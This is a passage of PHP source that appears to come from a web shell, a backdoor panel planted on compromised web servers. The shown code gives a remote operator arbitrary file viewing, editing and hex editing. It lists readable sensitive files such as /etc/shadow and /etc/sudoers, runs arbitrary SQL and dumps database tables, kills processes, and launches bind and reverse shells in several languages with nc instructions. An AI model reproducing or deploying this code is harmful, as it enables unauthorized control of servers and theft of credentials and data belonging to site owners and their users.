  1401.             if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']);
  1402.  
  1403.             if($t=="image"){
  1404.                 $width = (int) $iinfo[0];
  1405.                 $height = (int) $iinfo[1];
  1406.                 $imginfo = "Image type = ( ".$iinfo['mime']." )<br />
  1407.                     Image Size = <span class='gaul'>( </span>".$width." x ".$height."<span class='gaul'> )</span><br />";
  1408.                 if($width > 800){
  1409.                     $width = 800;
  1410.                     $imglink = "<p><a href='".$s_self."img=".$filn."' target='_blank'>
  1411.                     <span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
  1412.                 }
  1413.                 else $imglink = "";
  1414.  
  1415.                 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$imglink."
  1416.                     <img width='".$width."' src='".$s_self."img=".$filn."' alt='".$filn."' style='margin:8px auto;padding:0;border:0;' /></div>";
  1417.  
  1418.             }
  1419.             elseif($t=="code"){
  1420.                 $s_result .= "<div class=\"viewfilecontent\">";
  1421.                 $file = wordwrap(@file_get_contents($f),160,"\n",true);
  1422.                 $buff = highlight_string($file,true);
  1423.                 $old = array("0000BB","000000","FF8000","DD0000", "007700");
  1424.                 $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
  1425.                 $buff = str_replace($old,$new, $buff);
  1426.                 $s_result .= $buff;
  1427.                 $s_result .=  "</div>";
  1428.             }
  1429.             else {
  1430.                 $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
  1431.                 $s_result .=  str_replace("<","&lt;",str_replace(">","&gt;",(wordwrap(@file_get_contents($f),160,"\n",true))));
  1432.                 $s_result .=   "</pre>";
  1433.             }
  1434.         }
  1435.         elseif(is_dir($f)){
  1436.             chdir($f);
  1437.             $cwd = cp(getcwd());
  1438.             $s_result .= showdir($cwd);
  1439.         }
  1440.         else $s_result .= "<p class='notif'>Cannot find the path specified ".$f."</p>";
  1441.  
  1442.     } // edit file
  1443.     elseif(isset($_REQUEST['edit'])){
  1444.         $f = ss($_REQUEST['edit']);
  1445.         $fc = "";
  1446.         $fcs = "";
  1447.  
  1448.         if(isset($_REQUEST['new'])){
  1449.             $num = 1;
  1450.             if(is_file($f)){
  1451.                 $pos = strrpos($f,"_");
  1452.                 if($pos!==false) $num = (int) substr($f,$pos+1);
  1453.                 while(is_file(substr($f,0,$pos)."_".$num)){
  1454.                     $num++;
  1455.                 }
  1456.                 $f = substr($f,0,$pos)."_".$num;
  1457.             }
  1458.         }
  1459.         else if(is_file($f)) $fc = @file_get_contents($f);
  1460.        
  1461.  
  1462.         if(isset($_REQUEST['fc'])){
  1463.             $fc = ssc($_REQUEST['fc']);
  1464.             if($filez = fopen($f,"w")){
  1465.                 $time = @date("d-M-Y H:i",time());
  1466.                 if(fwrite($filez,$fc)!==false) $fcs = "File saved @ ".$time;
  1467.                 else $fcs = "Failed to save";
  1468.                 fclose($filez);
  1469.             }
  1470.             else $fcs = "Permission denied";
  1471.         }
  1472.         else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable";
  1473.  
  1474.         if(!empty($fcs)) $s_result .= "<p class='notif'>".$fcs."</p>";
  1475.         $s_result .= "<form action='".$s_self."' method='post'>
  1476.                 <textarea id='fc' name='fc' class='txtarea'>".hss($fc)."</textarea>
  1477.                 <p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".$f."' /></p>
  1478.                 <p><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
  1479.                 </form>";
  1480.  
  1481.     }// hex edit file
  1482.     elseif(isset($_REQUEST['hexedit'])){
  1483.         $f = ss($_REQUEST['hexedit']);
  1484.         $fc = "";
  1485.         $fcs = "";
  1486.         $lnum = 0;
  1487.         $hexes = "";
  1488.  
  1489.         if(!empty($_REQUEST['hexes']) || !empty($_REQUEST['hexestxtarea'])){
  1490.             if(!empty($_REQUEST['hexes'])){
  1491.                 foreach($_REQUEST['hexes'] as $hex) $hexes .= str_replace(" ","", $hex);
  1492.             }
  1493.             elseif(!empty($_REQUEST['hexestxtarea'])){
  1494.                 $hexes = trim($_REQUEST['hexestxtarea']);
  1495.             }
  1496.             if($filez = fopen($f,"w")){
  1497.                     $bins = pack("H*" , $hexes);
  1498.                     $time = @date("d-M-Y H:i",time());
  1499.                     if(fwrite($filez,$bins)!==false) $fcs = "File saved @ ".$time;
  1500.                     else $fcs = "Failed to save";
  1501.                     fclose($filez);
  1502.                 }
  1503.             else $fcs = "Permission denied";
  1504.         }
  1505.         else if(is_file($f) && !is_writable($f)) $fcs = "This file is not writable";
  1506.  
  1507.         if(!empty($fcs)) $s_result .= "<p class='notif'>".$fcs."</p>";
  1508.         $s_result .= "<form action='".$s_self."' method='post'>
  1509.                     <p style='padding:0;text-align:center;'><input type='text' class='inputz' style='width:99%;' name='hexedit' value='".$f."' /></p>
  1510.                     <p style='padding:0 0 14px 0;border-bottom:1px solid #393939;'><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return submithex();\" /></p>
  1511.                     <table class='explore'>
  1512.                     ";
  1513.         if(is_file($f)){
  1514.             $fp = fopen($f,"r");
  1515.             if($fp) {
  1516.                 $ldump = "";
  1517.                 $counter = 0;
  1518.                 $icounter = 0;
  1519.                 while(!feof($fp)){
  1520.                     $line = fread($fp, 32);
  1521.                     $linedump = preg_replace('/[^\x21-\x7E]/','.', $line);
  1522.                     $linehex = strtoupper(bin2hex($line));
  1523.                     $linex = str_split($linehex,2);
  1524.                     $linehex = implode(" ", $linex);
  1525.                     $addr = sprintf("%08xh",$icounter);
  1526.  
  1527.                     $s_result .= "<tr><td style='text-align:center;width:60px;'>".$addr."</td><td style='text-align:left;width:580px;'>
  1528.                     <input onclick=\"hexupdate('".$counter."',event);\" onkeydown=\"return hexfix('".$counter."',event);\" onkeyup=\"hexupdate('".$counter."',event);\" type='text' class='inputz' id='hex_".$counter."' name='hexes[]' value='".$linehex."' style='width:570px;' maxlength='".strlen($linehex)."' /></td>
  1529.                     <td style='text-align:left;letter-spacing:2px;' name='hexdump' id='dump_".$counter."'>".hss($linedump)."</td></tr>";
  1530.                     $counter++;
  1531.                     $icounter+=32;
  1532.                 }
  1533.                 $s_result .= "<input type='hidden' id='counter' value='".$counter."' />";
  1534.                 $s_result .= "<textarea name='hexestxtarea' id='hexestxtarea' class='sembunyi'></textarea>";
  1535.                 fclose($fp);
  1536.             }
  1537.         }
  1538.         $s_result .= "</table></form>";
  1539.  
  1540.     }// show server information
  1541.     elseif(isset($_REQUEST['info'])){
  1542.         $s_result = "";
  1543.         // server misc info
  1544.         $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
  1545.         $s_result .= "<div class='info' id='info_server'><table>";
  1546.  
  1547.         if($s_win){
  1548.             foreach (range("A","Z") as $letter){
  1549.                 if((is_dir($letter.":\\") && is_readable($letter.":\\"))){
  1550.                     $drive = $letter.":";
  1551.                     $s_result .= "<tr><td>drive ".$drive."</td><td>".ts(disk_free_space($drive))." free of ".ts(disk_total_space($drive))."</td></tr>";
  1552.                 }
  1553.             }
  1554.         }
  1555.         else $s_result .= "<tr><td>root partition</td><td>".ts(disk_free_space("/"))." free of ".ts(disk_total_space("/"))."</td></tr>";
  1556.  
  1557.         $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
  1558.         if($s_python) $s_result .= "<tr><td>python</td><td>".exe("python -V")."</td></tr>";
  1559.         if($s_perl) $s_result .= "<tr><td>perl</td><td>".exe("perl -e \"print \$]\"")."</td></tr>";
  1560.         if($s_ruby) $s_result .= "<tr><td>ruby</td><td>".exe("ruby -v")."</td></tr>";
  1561.         if($s_gcc){
  1562.             $gcc_version = exe("gcc --version");
  1563.             $gcc_ver = explode("\n",$gcc_version);
  1564.             if(count($gcc_ver)>0) $gcc_ver = $gcc_ver[0];
  1565.             $s_result .= "<tr><td>gcc</td><td>".$gcc_ver."</td></tr>";
  1566.         }
  1567.         if($s_java) $s_result .= "<tr><td>java</td><td>".str_replace("\n", ", ", exe("java -version"))."</td></tr>";
  1568.  
  1569.         $interesting = array(
  1570.         "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/etc/resolv.conf", "/etc/sysctl.conf",
  1571.         "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1572.         "/etc/ssh/sshd_config",
  1573.         "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf"," /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1574.         "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1575.         "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1576.         foreach($interesting as $f){
  1577.             if(is_file($f) && is_readable($f))
  1578.                 $s_result .= "<tr><td>".$f."</td><td><a href='".$s_self."view=".$f."'>".$f." is readable</a></td></tr>";
  1579.         }
  1580.        
  1581.  
  1582.         $s_result .= "</table></div>";
  1583.  
  1584.         if(!$s_win){
  1585.             // cpu info
  1586.             if($i_buff=trim(@file_get_contents("/proc/cpuinfo"))){
  1587.                 $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
  1588.                 $s_result .= "<div class='info' id='info_cpu'>";
  1589.                 $i_buffs = explode("\n\n", $i_buff);
  1590.                 foreach($i_buffs as $i_buffss){
  1591.                     $i_buffss = trim($i_buffss);
  1592.                     if($i_buffss!=""){
  1593.                         $i_buffsss = explode("\n",$i_buffss);
  1594.                         $s_result .= "<table>";
  1595.                         foreach($i_buffsss as $i){
  1596.                             $i = trim($i);
  1597.                             if($i!=""){
  1598.                                 $ii = explode(":",$i);
  1599.                                 if(count($ii)==2) $s_result .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1600.                             }
  1601.                         }
  1602.                         $s_result .= "</table>";
  1603.                     }
  1604.                 }
  1605.                 $s_result .= "</div>";
  1606.             }
  1607.             // mem info
  1608.             if($i_buff=trim(@file_get_contents("/proc/meminfo"))){
  1609.                 $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
  1610.                 $i_buffs = explode("\n",$i_buff);
  1611.                 $s_result .= "<div class='info' id='info_mem'><table>";
  1612.                 foreach($i_buffs as $i){
  1613.                     $i = trim($i);
  1614.                     if($i!=""){
  1615.                         $ii = explode(":",$i);
  1616.                         if(count($ii)==2) $s_result .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1617.                     }
  1618.                     else $s_result .= "</table><table>";
  1619.                 }
  1620.                 $s_result .= "</table></div>";
  1621.             }
  1622.             // partition
  1623.             if($i_buff=trim(@file_get_contents("/proc/partitions"))){
  1624.                 $i_buff = preg_replace("/\ +/"," ",$i_buff);
  1625.                 $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
  1626.                 $s_result .= "<div class='info' id='info_part'>";
  1627.                 $i_buffs = explode("\n\n", $i_buff);
  1628.                 $s_result .= "<table><tr>";
  1629.                 $i_head = explode(" ",$i_buffs[0]);
  1630.                 foreach($i_head as $h) $s_result .= "<th>".$h."</th>";
  1631.                 $s_result .= "</tr>";
  1632.                 $i_buffss = explode("\n", $i_buffs[1]);
  1633.                 foreach($i_buffss as $i_b){
  1634.                     $i_row = explode(" ",trim($i_b));
  1635.                     $s_result .= "<tr>";
  1636.                     foreach($i_row as $r) $s_result .= "<td style='text-align:center;'>".$r."</td>";
  1637.                     $s_result .= "</tr>";
  1638.                 }
  1639.                 $s_result .= "</table>";
  1640.                 $s_result .= "</div>";
  1641.             }
  1642.         }
  1643.         $phpinfo = array(
  1644.             "PHP General" => INFO_GENERAL,
  1645.             "PHP Configuration" => INFO_CONFIGURATION,
  1646.             "PHP Modules" => INFO_MODULES,
  1647.             "PHP Environment" => INFO_ENVIRONMENT,
  1648.             "PHP Variables" => INFO_VARIABLES
  1649.         );
  1650.         foreach($phpinfo as $p=>$i){
  1651.             $s_result .= "<p class='notif' onclick=\"toggle('".$i."')\">".$p."</p>";
  1652.             ob_start();
  1653.             eval("phpinfo(".$i.");");
  1654.             $b = ob_get_contents();
  1655.             ob_end_clean();
  1656.             $a = strpos($b,"<body>")+6;
  1657.             $z = strpos($b,"</body>");
  1658.             $body = substr($b,$a,$z-$a);
  1659.             $body = str_replace(",",", ",$body);
  1660.             $body = str_replace("&amp;","&",$body);
  1661.             $body = str_replace(";","; ",$body);
  1662.             $s_result .= "<div class='info' id='".$i."'>".$body."</div>";
  1663.         }
  1664.     } // working with database
  1665.     elseif(isset($_REQUEST['db'])){
  1666.         // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo
  1667.         $sqlhost = isset($_REQUEST['sqlhost'])? ssc($_REQUEST['sqlhost']) : "";
  1668.         $sqlport = isset($_REQUEST['sqlport'])? ssc($_REQUEST['sqlport']) : "";
  1669.         $sqluser = isset($_REQUEST['sqluser'])? ssc($_REQUEST['sqluser']) : "";
  1670.         $sqlpass = isset($_REQUEST['sqlpass'])? ssc($_REQUEST['sqlpass']) : "";
  1671.         $sqltype = isset($_REQUEST['sqltype'])? ssc($_REQUEST['sqltype']) : "";
  1672.         $show_form = true;
  1673.         $show_dbs = true;
  1674.  
  1675.         if(isset($_REQUEST['connect'])){
  1676.             $con = sql_connect($sqltype,$sqlhost,$sqluser,$sqlpass);
  1677.             $sqlcode = isset($_REQUEST['sqlcode']) ? ssc($_REQUEST['sqlcode']) : "";
  1678.  
  1679.             if($con!==false){
  1680.                 $show_form = false;
  1681.                 $s_result .= "<form action='".$s_self."db' method='post'>
  1682.                     <input type='hidden' name='sqlhost' value='".$sqlhost."' />
  1683.                     <input type='hidden' name='sqlport' value='".$sqlport."' />
  1684.                     <input type='hidden' name='sqluser' value='".$sqluser."' />
  1685.                     <input type='hidden' name='sqlpass' value='".$sqlpass."' />
  1686.                     <input type='hidden' name='sqltype' value='".$sqltype."' />
  1687.                     <input type='hidden' name='connect' value='connect' />
  1688.                     <textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".$sqlcode."</textarea>
  1689.                     <p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
  1690.                     &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
  1691.                     </form>";
  1692.  
  1693.                 if(!empty($sqlcode)){
  1694.                     $querys = explode(";",$sqlcode);
  1695.                     foreach($querys as $query){
  1696.                         if(trim($query) != ""){
  1697.                             $hasil = sql_query($sqltype,$query,$con);
  1698.                             if($hasil!=false){
  1699.                                 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$query.";&nbsp;&nbsp;&nbsp;
  1700.                                 <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>
  1701.                                 <table class='explore sortable' style='width:100%;'><tr>";
  1702.                                 for($i=0;$i<sql_num_fields($sqltype,$hasil);$i++)
  1703.                                     $s_result .= "<th>".@hss(sql_field_name($sqltype,$hasil,$i))."</th>";
  1704.                                 $s_result .= "</tr>";
  1705.                                 while($rows=sql_fetch_data($sqltype,$hasil)){
  1706.                                     $s_result .= "<tr>";
  1707.                                     foreach($rows as $r){
  1708.                                         if(empty($r)) $r = " ";
  1709.                                         $s_result .= "<td>".@hss($r)."</td>";
  1710.                                     }
  1711.                                     $s_result .= "</tr>";
  1712.                                 }
  1713.                                 $s_result .= "</table>";
  1714.                             }
  1715.                             else{
  1716.                                 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$query.";&nbsp;&nbsp;&nbsp;
  1717.                                 <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
  1718.                             }
  1719.                         }
  1720.                     }
  1721.                 }
  1722.                 else{
  1723.                     if(($sqltype!='pdo') && ($sqltype!='odbc')){
  1724.                         if($sqltype=='mysql') $showdb = "SHOW DATABASES";
  1725.                         elseif($sqltype=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
  1726.                         elseif($sqltype=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
  1727.                         elseif($sqltype=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1728.                         elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showdb = "SELECT \"".$sqlhost."\"";
  1729.                         else $showdb = "SHOW DATABASES";
  1730.  
  1731.                         $hasil = sql_query($sqltype,$showdb,$con);
  1732.  
  1733.                         if($hasil!=false) {
  1734.                             while($rows_arr=sql_fetch_data($sqltype,$hasil)){
  1735.                                 foreach($rows_arr as $rows){
  1736.                                     $s_result .= "<p class='notif' onclick=\"toggle('db_".$rows."')\">".$rows."</p>";
  1737.                                     $s_result .= "<div class='info' id='db_".$rows."'><table class='explore'>";
  1738.  
  1739.                                     if($sqltype=='mysql') $showtbl = "SHOW TABLES FROM ".$rows;
  1740.                                     elseif($sqltype=='mssql') $showtbl = "SELECT name FROM ".$rows."..sysobjects WHERE xtype = 'U'";
  1741.                                     elseif($sqltype=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$rows."'";
  1742.                                     elseif($sqltype=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$rows."'";
  1743.                                     elseif($sqltype=='sqlite3' || $sqltype=='sqlite') $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1744.                                     else $showtbl = "";
  1745.  
  1746.                                     $hasil_t = sql_query($sqltype,$showtbl,$con);
  1747.                                     if($hasil_t!=false) {
  1748.                                         while($tables_arr=sql_fetch_data($sqltype,$hasil_t)){
  1749.                                             foreach($tables_arr as $tables){
  1750.                                                 if($sqltype=='mysql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 0,100";
  1751.                                                 elseif($sqltype=='mssql') $dump_tbl = "SELECT TOP 100 * FROM ".$rows."..".$tables;
  1752.                                                 elseif($sqltype=='pgsql') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." LIMIT 100 OFFSET 0";
  1753.                                                 elseif($sqltype=='oracle') $dump_tbl = "SELECT * FROM ".$rows.".".$tables." WHERE ROWNUM BETWEEN 0 AND 100;";
  1754.                                                 elseif($sqltype=='sqlite' || $sqltype=='sqlite3') $dump_tbl = "SELECT * FROM ".$tables." LIMIT 0,100";
  1755.                                                 else $dump_tbl = "";
  1756.  
  1757.                                                 $dump_tbl_link = $s_self."db&connect=&sqlhost=".$sqlhost."&sqlport=".$sqlport."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqltype=".$sqltype."&sqlcode=".urlencode($dump_tbl);
  1758.  
  1759.                                                 $s_result .= "<tr><td onmouseup=\"return go('".addslashes($dump_tbl_link)."',event);\"><a target='_blank' href='".$dump_tbl_link."'>".$tables."</a></td></tr>";
  1760.                                             }
  1761.                                         }
  1762.                                     }
  1763.                                     $s_result .= "</table></div>";
  1764.                                 }
  1765.                             }
  1766.                         }
  1767.                     }
  1768.                 }
  1769.                 sql_close($sqltype,$con);
  1770.             }
  1771.             else{
  1772.                 $s_result .= "<p class='notif'>Unable to connect to database</p>";
  1773.                 $show_form = true;
  1774.             }
  1775.         }
  1776.  
  1777.         if($show_form){
  1778.             // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
  1779.             $sqllist = array();
  1780.             if(function_exists("mysql_connect")) $sqllist["mysql"] = "connect to MySQL <span style=\"font-size:12px;color:#999;\">- using mysql_*</span>";
  1781.             if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $sqllist["mssql"] = "connect to MsSQL <span style=\"font-size:12px;color:#999;\">- using mssql_* or sqlsrv_*</span>";
  1782.             if(function_exists("pg_connect")) $sqllist["pgsql"] = "connect to PostgreSQL <span style=\"font-size:12px;color:#999;\">- using pg_*</span>";
  1783.             if(function_exists("oci_connect")) $sqllist["oracle"] = "connect to oracle <span style=\"font-size:12px;color:#999;\">- using oci_*</span>";
  1784.             if(function_exists("sqlite_open")) $sqllist["sqlite"] = "connect to SQLite <span style=\"font-size:12px;color:#999;\">- using sqlite_*</span>";
  1785.             if(class_exists("SQLite3")) $sqllist["sqlite3"] = "connect to SQLite3 <span style=\"font-size:12px;color:#999;\">- using class SQLite3</span>";
  1786.             if(function_exists("odbc_connect")) $sqllist["odbc"] = "connect via ODBC <span style=\"font-size:12px;color:#999;\">- using odbc_*</span>";
  1787.             if(class_exists("PDO")) $sqllist["pdo"] = "connect via PDO <span style=\"font-size:12px;color:#999;\">- using class PDO</span>";
  1788.  
  1789.             foreach($sqllist as $sqltype=>$sqltitle){
  1790.                 if($sqltype=="odbc" || $sqltype=="pdo"){
  1791.                     $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
  1792.                     <form action='".$s_self."db' method='post' />
  1793.                     <table class='myboxtbl'>
  1794.                     <tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1795.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  1796.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  1797.                     </table>
  1798.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1799.                     <input type='hidden' name='sqltype' value='".$sqltype."' />
  1800.                     </form>
  1801.                     </div>";
  1802.                 }
  1803.                 elseif($sqltype=="sqlite" || $sqltype=="sqlite3"){
  1804.                     $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
  1805.                     <form action='".$s_self."db' method='post' />
  1806.                     <table class='myboxtbl'>
  1807.                     <tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1808.                     </table>
  1809.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1810.                     <input type='hidden' name='sqltype' value='".$sqltype."' />
  1811.                     </form>
  1812.                     </div>";
  1813.                 }
  1814.                 else{
  1815.                     $s_result .= "<div class='mybox'><h2>".$sqltitle."</h2>
  1816.                     <form action='".$s_self."db' method='post' />
  1817.                     <table class='myboxtbl'>
  1818.                     <tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1819.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  1820.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  1821.                     <tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
  1822.                     </table>
  1823.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1824.                     <input type='hidden' name='sqltype' value='".$sqltype."' />
  1825.                     </form>
  1826.                     </div>";
  1827.                 }
  1828.             }
  1829.  
  1830.         }
  1831.     } // bind and reverse shell
  1832.     elseif(isset($_REQUEST['rs'])){
  1833.         //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  1834.         //$s_my_ip = $_SERVER['REMOTE_ADDR'];
  1835.         $rshost = $s_server_ip;
  1836.  
  1837.         $rsport = "13123";
  1838.         // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win
  1839.         $rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
  1840.         $rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
  1841.  
  1842.         //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
  1843.         // resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php
  1844.         $rsbind = array();
  1845.         $rsback = array();
  1846.  
  1847.  
  1848.         $rsbind["bind_php"] = "Bind Shell <span style='font-size:12px;color:#999;'>- php</span>";
  1849.         $rsback["back_php"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- php</span>";
  1850.  
  1851.         if($s_perl){
  1852.             $rsbind["bind_pl"] = "Bind Shell <span style='font-size:12px;color:#999;'>- perl</span>";
  1853.             $rsback["back_pl"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- perl</span>";
  1854.         }
  1855.         if($s_python){
  1856.             $rsbind["bind_py"] = "Bind Shell <span style='font-size:12px;color:#999;'>- python</span>";
  1857.             $rsback["back_py"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- python</span>";
  1858.         }
  1859.         if($s_ruby){
  1860.             $rsbind["bind_rb"] = "Bind Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
  1861.             $rsback["back_rb"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
  1862.         }
  1863.         if($s_win){
  1864.             $rsbind["bind_win"] = "Bind Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
  1865.             $rsback["back_win"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
  1866.         }
  1867.         else{
  1868.             $rsbind["bind_c"] = "Bind Shell <span style='font-size:12px;color:#999;'>- c</span>";
  1869.             $rsback["back_c"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- c</span>";
  1870.         }
  1871.  
  1872.         $rslist = array_merge($rsbind,$rsback);
  1873.  
  1874.         if(!is_writable($cwd)) $s_result .= "<p class='notif'>Directory ".$cwd." is not writable, please change to a writable one</p>";
  1875.         $rs_err = "";
  1876.         foreach($rslist as $rstype=>$rstitle){
  1877.             $split = explode("_",$rstype);
  1878.             if($split[0]=="bind"){
  1879.                 $rspesan = $rspesana;
  1880.                 $rsdisabled = "disabled='disabled'";
  1881.                 $rstarget = $s_server_ip;
  1882.                 $labelip = "Server IP";
  1883.             }
  1884.             elseif($split[0]=="back"){
  1885.                 $rspesan = $rspesanb;
  1886.                 $rsdisabled = "";
  1887.                 $rstarget = $s_my_ip;
  1888.                 $labelip = "Target IP";
  1889.             }
  1890.             if(isset($_REQUEST[$rstype])){
  1891.                 if(isset($_REQUEST["rshost_".$rstype])) $rshost_ = ss($_REQUEST["rshost_".$rstype]);
  1892.                 if(isset($_REQUEST["rsport_".$rstype])) $rsport_ = ss($_REQUEST["rsport_".$rstype]);
  1893.  
  1894.                 if($split[0]=="bind") $rstarget_packed = $rsport_;
  1895.                 elseif($split[0]=="back") $rstarget_packed = $rsport_." ".$rshost_;
  1896.  
  1897.                 if($split[1]=="pl") $rscode = $rs_pl;
  1898.                 elseif($split[1]=="py") $rscode = $rs_py;
  1899.                 elseif($split[1]=="rb") $rscode = $rs_rb;
  1900.                 elseif($split[1]=="c") $rscode = $rs_c;
  1901.                 elseif($split[1]=="win") $rscode = $rs_win;
  1902.                 elseif($split[1]=="php") $rscode = $rs_php;;
  1903.                 $buff = rs($rstype,$rstarget_packed,$rscode);
  1904.                 if($buff!="") $rs_err = "<p class='notif'>".hss($buff)."</p>";
  1905.             }
  1906.             $s_result .= "<div class='mybox'><h2>".$rstitle."</h2>
  1907.             <form action='".$s_self."rs' method='post' />
  1908.             <table class='myboxtbl'>
  1909.             <tr><td style='width:100px;'>".$labelip."</td><td><input ".$rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$rstype."' value='".$rstarget."' /></td></tr>
  1910.             <tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$rstype."' value='".$rsport."' /></td></tr>
  1911.             </table>
  1912.             <input type='submit' name='".$rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1913.             &nbsp;&nbsp;<span>".$rspesan."</span>
  1914.             </form>
  1915.             </div>";
  1916.         }
  1917.         $s_result = $rs_err.$s_result;
  1918.     } // task manager
  1919.     elseif(isset($_REQUEST['ps'])){
  1920.         $buff = "";
  1921.         // kill process specified by pid
  1922.         if(isset($_REQUEST['pid'])){
  1923.             $p = ss($_REQUEST['pid']);
  1924.             if(function_exists("posix_kill")) $buff = (posix_kill($p,'9'))? "Process with pid ".$p." has been successfully killed":"Unable to kill process with pid ".$p;
  1925.             else{
  1926.                 if(!$s_win) $buff = exe("kill -9 ".$p);
  1927.                 else $buff = exe("taskkill /F /PID ".$p);
  1928.             }
  1929.         }
  1930.  
  1931.         if(!$s_win) $h = "ps aux";
  1932.         else $h = "tasklist /V /FO csv";
  1933.         $wcount = 11;
  1934.         $wexplode = " ";
  1935.         if($s_win) $wexplode = "\",\"";
  1936.  
  1937.         $res = exe($h);
  1938.         if(trim($res)=='') $s_result = "<p class='notif'>Error getting process list</p>";
  1939.         else{
  1940.             if($buff!="") $s_result = "<p class='notif'>".$buff."</p>";
  1941.             $s_result .= "<table class='explore sortable'>";
  1942.             if(!$s_win) $res = preg_replace('#\ +#',' ',$res);
  1943.  
  1944.             $psarr = explode("\n",$res);
  1945.             $fi = true;
  1946.             $tblcount = 0;
  1947.  
  1948.             $check = explode($wexplode,$psarr[0]);
  1949.             $wcount = count($check);
  1950.  
  1951.             foreach($psarr as $psa){
  1952.                 if(trim($psa)!=''){
  1953.                     if($fi){
  1954.                         $fi = false;
  1955.                         $psln = explode($wexplode,$psa,$wcount);
  1956.                         $s_result .= "<tr><th class='sorttable_nosort'>action</th>";
